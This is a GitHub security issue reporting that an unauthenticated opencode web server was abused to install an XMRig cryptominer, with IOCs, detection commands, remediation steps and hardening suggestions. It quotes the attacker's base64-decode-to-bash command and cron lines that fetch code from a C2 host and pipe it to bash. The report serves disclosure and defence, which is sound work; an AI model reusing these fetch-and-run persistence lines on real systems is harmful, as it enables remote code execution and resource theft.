anomalyco / anomalyco/opencode

[SECURITY] Cryptominer deployed via unsecured `opencode web` server — insecure default + no access logging

Open
#38,857 2 comments 0 reactions 1 assignee View on GitHub

@rekram1-node is already working on this.

Since Jul 25, 2026.

Dominant language
TypeScript
Stars
209k
Forks
27.5k
PR merge metrics
PR metrics pending

Description

Summary

Two of my Linux hosts were compromised by a Monero (XMRig) cryptominer deployed through an unsecured opencode web server (v1.4.7). The web server was listening on 0.0.0.0:4096 without OPENCODE_SERVER_PASSWORD set, exposing an unauthenticated bash terminal to anyone on the private VPN network.

An automated scanner on the VPN network found the open instance and deployed the miner via the web terminal, gaining full RCE as the owning user. The malware then killed competing processes (including other coding agents) to free CPU for mining.

Attack details

  • opencode version: 1.4.7
  • Configuration: opencode web --hostname 0.0.0.0, OPENCODE_SERVER_PASSWORD unset
  • Network: Private VPN mesh, accessible to all peers
  • Impact: Full RCE on 2 hosts, ~95 hours of CPU stolen (12 cores × 100%), system fingerprint exfiltration
  • Duration before detection: ~7-8 hours
  • Both hosts hit simultaneously — automated scanning

The malware chain

The attacker used the opencode bash tool to execute a single command:

pgrep -x unicorn >/dev/null || echo <BASE64_PAYLOAD> | base64 -d | bash

The payload:

  1. Downloaded a UPX-packed dropper (camouflaged as gunicorn)
  2. The dropper killed competing processes and deployed XMRig (camouflaged as unicorn, stored at ~/.claude/CRON)
  3. Installed cron persistence (*/3 * * * * callback to C2)
  4. Configured mining on 3 Monero pools, all 12 CPU cores, pause-on-active: false
  5. Exfiltrated system fingerprint (CPU, RAM, VM type, IP → base64 rig-id)

Security concerns

1. opencode web binds to 0.0.0.0 without enforcing authentication

When OPENCODE_SERVER_PASSWORD is not set, the web server still starts and serves the full terminal UI — including bash execution — to anyone who can reach the port. This is a remote code execution vector by default.

Suggestion: Refuse to start on non-localhost interfaces without a password, or print a prominent warning.

2. No HTTP access logging

opencode does not log HTTP requests to the web server. After the attack, there was zero forensic evidence of how the attacker connected — no source IP, no request path, no timestamp. This made it impossible to identify the attacker.

Suggestion: Log HTTP access (source IP, method, path, timestamp) to a file or journal by default.

3. Bash tool execution without confirmation

The web terminal executed the payload as a "synthetic" user action (direct tool execution), with no confirmation prompt or sandboxing.

Indicators of Compromise (IOCs)

C2 / Dropper infrastructure
Type Indicator
C2 primary 176.65.148.250 port 6556
C2 fallback 2.26.99.68 port 6556
Dropper domain apt-update.com
GitLab fallback Kanedias/xmrig-static
Mining pools
Pool Port
193.41.68.194 53535
95.85.237.149 53535
2.26.99.68 53535
Filesystem artifacts
Path Description
~/.claude/CRON XMRig binary (camouflaged as unicorn)
~/.claude/config.json XMRig pool config
~/<machine-id> UPX-packed dropper (camouflaged as gunicorn)
Process names (camouflaged)
  • unicorn → XMRig miner
  • gunicorn → UPX-packed dropper/killer
Cron persistence
*/3 * * * * curl -s <C2>:6556/ok | base64 -d | bash
@reboot <C2>:6556/ok | base64 -d | bash

Detection

Run these checks on any host running opencode web:

# 1. Cron entries
crontab -l | grep -E "176.65|6556|base64.*bash"

# 2. XMRig binary
ls -la ~/.claude/CRON

# 3. XMRig config
cat ~/.claude/config.json | grep -i "pool\|xmrig\|monero"

# 4. Dropper binary
ls -la ~/$(cat /etc/machine-id)

# 5. Camouflaged processes
ps aux | grep -iE "unicorn|gunicorn" | grep -v grep

# 6. Active C2/pool connections
ss -tn | grep -E "6556|53535"

Remediation (if infected)

# Kill malware processes
pkill -9 -f unicorn; pkill -9 -f gunicorn

# Remove artifacts
rm -f ~/.claude/CRON ~/.claude/config.json ~/<machine-id>

# Clean cron
crontab -l | grep -v "176.65\|base64.*bash" | crontab -

# Block C2 (repeat for each IOC IP)
sudo iptables -A OUTPUT -d <C2_IP> -j DROP

Environment

  • OS: Ubuntu 24.04 LTS (2 hosts)
  • opencode: 1.4.7
  • Network: Private VPN mesh

Happy to provide additional forensic details (session DB extracts, malware binary hashes, payload deobfuscation) if useful.

Contributor guide

Open the contributing guide

First steps

  1. Read the whole issue, then the project's contributing guide.
  2. Comment on the issue to say you are picking it up — it saves two people doing the same work.
  3. Fork the repository and make your change on a branch.
  4. Open a pull request that references the issue number.

Assessment

This issue has not been assessed yet.

Get new issues in your inbox

A short digest of beginner-friendly GitHub issues.